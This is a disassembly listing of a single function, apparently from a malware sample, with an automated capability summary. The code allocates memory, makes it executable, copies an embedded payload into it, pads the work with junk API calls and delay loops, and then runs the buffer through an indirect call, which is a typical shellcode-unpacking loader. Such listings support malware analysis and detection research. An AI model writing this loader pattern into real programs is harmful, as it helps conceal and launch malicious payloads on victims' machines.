Function at 0x401617
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get hostname
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1440
call fcn.00406bc0
mov ecx, dword [0x800268]
push esi
push edi
cmp ecx, 0x93
je 0x4017e2
mov eax, dword [0x41a3d8]
add ecx, 0x1134b
push ecx
xor esi, esi
mov dword [0x80026c], eax
push esi
mov dword [0x800268], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x18]
mov dword [0x7ffcf4], eax
push ecx
push 0x40
push dword [0x800268]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0xa90ee
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec edi
jne 0x401675
mov edx, dword [0x800268]
mov edi, esi
test edx, edx
je 0x401708
mov eax, dword [0x80026c]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0x7ffcf4]
mov byte [eax + edi], cl
cmp edx, 0x490
jne 0x401703
push str.tuboyiyabugohubozu
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
push str.Yoxoku_fujikeluci
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
push str.zafejehoninayenix
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
lea eax, [ebp - 0x840]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x1440]
push eax
push str.Gumobi_sijisacokodoz_reposizokuho_nicakuda_rujazis
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push esi
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
mov edx, dword [0x800268]
inc edi
cmp edi, edx
jb 0x401691
mov edi, esi
lea eax, [edx + edi]
cmp eax, 0x8d
jne 0x401747
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
push esi
push str.napuzupuminicu
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov edx, dword [0x800268]
inc edi
cmp edi, 0x38681
jl 0x40170a
push ecx
call fcn.004015d4
mov edi, esi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x62
jne 0x401769
call fcn.004015fb
inc edi
cmp edi, 0x674db
jl 0x401758
push 0x7b
pop edi
cmp dword [0x800268], 0x86
jne 0x4017af
push esi
lea eax, [ebp - 0x10]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
lea eax, [ebp - 0x40]
push eax
push str.luwulipipuxurayerex
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc40]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [0x800268], 0xf
jne 0x4017c2
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
dec edi
jne 0x401775
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x7ffcf4]
mov dword [0x80025c], eax
call eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push str.Texojumogetoz_yiv_valozuxetona
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
push str.Zanoganimegihem_lanupusiwufe
push str.Dedufi_rayuhekag_yabo
btr dword [eax], 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
xor esi, esi
lea eax, [ebp - 0x440]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x417868
push esi
call fcn.004036bc
push esi
call fcn.00403a88
push esi
call fcn.00402a26
add esp, 0x10
lea ecx, [ebp - 0x24]
push str.bad_exception
call fcn.0040109f
lea ecx, [ebp - 0x24]
call fcn.004010bb
push esi
call fcn.00403af4
pop ecx
call fcn.004029e3
int3